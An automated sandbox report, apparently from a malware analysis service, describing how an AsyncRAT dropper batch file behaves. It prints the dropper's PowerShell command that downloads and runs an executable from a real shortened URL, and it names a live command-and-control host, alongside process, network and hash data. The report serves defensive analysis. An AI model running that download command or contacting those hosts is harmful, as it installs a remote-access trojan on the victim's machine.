Malware Analysis Report

2025-08-10 14:28

Sample ID 241029-3haj8ssanh
Target file-ly5.bat
SHA256 5b60f3dc0e0e96085cdddb8d8135eede32ccc9f0981996261a8cf27d4be2dbfb
Tags
execution asyncrat default discovery rat
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

5b60f3dc0e0e96085cdddb8d8135eede32ccc9f0981996261a8cf27d4be2dbfb

Threat Level: Known bad

The file file-ly5.bat was found to be: Known bad.

Malicious Activity Summary

execution asyncrat default discovery rat

Asyncrat family

AsyncRat

Async RAT payload

Blocklisted process makes network request

Downloads MZ/PE file

Executes dropped EXE

Checks computer location settings

Command and Scripting Interpreter: PowerShell

Enumerates physical storage devices

System Network Configuration Discovery: Internet Connection Discovery

Suspicious use of WriteProcessMemory

Suspicious use of AdjustPrivilegeToken

Suspicious behavior: EnumeratesProcesses

Runs ping.exe

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-10-29 23:30

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-10-29 23:30

Reported

2024-10-29 23:32

Platform

win7-20241010-en

Max time kernel

119s

Max time network

123s

Command Line

cmd /c "C:\Users\Admin\AppData\Local\Temp\file-ly5.bat"

Signatures

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2360 wrote to memory of 2352 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2360 wrote to memory of 2352 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2360 wrote to memory of 2352 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Windows\system32\cmd.exe

cmd /c "C:\Users\Admin\AppData\Local\Temp\file-ly5.bat"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://u.to/nBL7IA', 'file.exe')"

Network

Country Destination Domain Proto
US 8.8.8.8:53 u.to udp
RU 195.216.243.155:443 u.to tcp
US 8.8.8.8:53 cdn.discordapp.com udp
US 162.159.133.233:443 cdn.discordapp.com tcp
US 162.159.133.233:443 cdn.discordapp.com tcp

Files

memory/2352-4-0x000007FEF63DE000-0x000007FEF63DF000-memory.dmp

memory/2352-5-0x000000001B400000-0x000000001B6E2000-memory.dmp

memory/2352-6-0x0000000001E20000-0x0000000001E28000-memory.dmp

memory/2352-7-0x000007FEF6120000-0x000007FEF6ABD000-memory.dmp

memory/2352-8-0x000007FEF6120000-0x000007FEF6ABD000-memory.dmp

memory/2352-9-0x000007FEF6120000-0x000007FEF6ABD000-memory.dmp

memory/2352-10-0x000007FEF6120000-0x000007FEF6ABD000-memory.dmp

memory/2352-11-0x000007FEF6120000-0x000007FEF6ABD000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\CabFFA5.tmp

MD5 49aebf8cbd62d92ac215b2923fb1b9f5
SHA1 1723be06719828dda65ad804298d0431f6aff976
SHA256 b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f
SHA512 bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

memory/2352-28-0x000007FEF6120000-0x000007FEF6ABD000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-10-29 23:30

Reported

2024-10-29 23:32

Platform

win10v2004-20241007-en

Max time kernel

146s

Max time network

153s

Command Line

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\file-ly5.bat"

Signatures

AsyncRat

rat asyncrat

Asyncrat family

asyncrat

Async RAT payload

rat
Description Indicator Process Target
N/A N/A N/A N/A

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Downloads MZ/PE file

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\file.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\file.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\Infected.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

System Network Configuration Discovery: Internet Connection Discovery

discovery
Description Indicator Process Target
N/A N/A C:\Windows\system32\PING.EXE N/A
N/A N/A C:\Windows\system32\PING.EXE N/A

Runs ping.exe

Description Indicator Process Target
N/A N/A C:\Windows\system32\PING.EXE N/A
N/A N/A C:\Windows\system32\PING.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\Infected.exe N/A

Processes

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\file-ly5.bat"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://u.to/nBL7IA', 'file.exe')"

C:\Users\Admin\AppData\Local\Temp\file.exe

"file.exe"

C:\Windows\system32\PING.EXE

ping localhost -n 3

C:\Users\Admin\AppData\Local\Temp\RarSFX0\Infected.exe

"C:\Users\Admin\AppData\Local\Temp\RarSFX0\Infected.exe"

C:\Windows\system32\PING.EXE

ping localhost -n 3

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 58.55.71.13.in-addr.arpa udp
US 8.8.8.8:53 u.to udp
RU 195.216.243.155:443 u.to tcp
US 8.8.8.8:53 cdn.discordapp.com udp
US 8.8.8.8:53 99.209.201.84.in-addr.arpa udp
US 8.8.8.8:53 155.243.216.195.in-addr.arpa udp
US 162.159.135.233:443 cdn.discordapp.com tcp
US 8.8.8.8:53 233.135.159.162.in-addr.arpa udp
US 8.8.8.8:53 73.31.126.40.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 232.168.11.51.in-addr.arpa udp
N/A 127.0.0.1:43655 tcp
US 8.8.8.8:53 excellent-waiver.gl.at.ply.gg udp
US 147.185.221.23:43655 excellent-waiver.gl.at.ply.gg tcp
US 8.8.8.8:53 97.17.167.52.in-addr.arpa udp
US 8.8.8.8:53 200.163.202.172.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
N/A 127.0.0.1:43655 tcp
US 147.185.221.23:43655 excellent-waiver.gl.at.ply.gg tcp
US 8.8.8.8:53 55.36.223.20.in-addr.arpa udp
N/A 127.0.0.1:43655 tcp
US 147.185.221.23:43655 excellent-waiver.gl.at.ply.gg tcp
US 8.8.8.8:53 13.227.111.52.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 147.185.221.23:43655 excellent-waiver.gl.at.ply.gg tcp
US 147.185.221.23:43655 excellent-waiver.gl.at.ply.gg tcp

Files

memory/4948-0-0x00007FFE394C3000-0x00007FFE394C5000-memory.dmp

memory/4948-1-0x00000180552A0000-0x00000180552C2000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tnaa1tal.yff.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4948-11-0x00007FFE394C0000-0x00007FFE39F81000-memory.dmp

memory/4948-12-0x00007FFE394C0000-0x00007FFE39F81000-memory.dmp

memory/4948-16-0x00007FFE394C0000-0x00007FFE39F81000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\file.exe

MD5 d435bd69c788f8f42a73158ea2526716
SHA1 dc640272ce6c4a1bf8487ab917fd175b034de7aa
SHA256 98208142a545c388e0fc0efcf8a6b203673412c0510ab330c47337fa74bb4dc2
SHA512 729200f3d1e30f90f81defb6e392a90d54509fdf55238971e7ba1df2663fb9f042490a8329bad5c02a8768e956d41d1180049414802f08a6974b35f03d953b62

C:\Users\Admin\AppData\Local\Temp\RarSFX0\Infected.exe

MD5 29b38d4c415d9b464f1ff073e0a43913
SHA1 ddf87b649f725c62ebd42914c71b2e446f1aeddf
SHA256 6fd7acee70eef7574951bc9def49e41c2fde7aea50141672dcb1b2c79f510549
SHA512 3f5801764e4c124c3b5cea11ddc3a79eb5cf37cb1bc50059ba2f9010200e717b36c726409595a1064dcf364eeb77fd801d8ef6ca73546a498e0dff5d9e668897

memory/632-32-0x0000000000A90000-0x0000000000AA6000-memory.dmp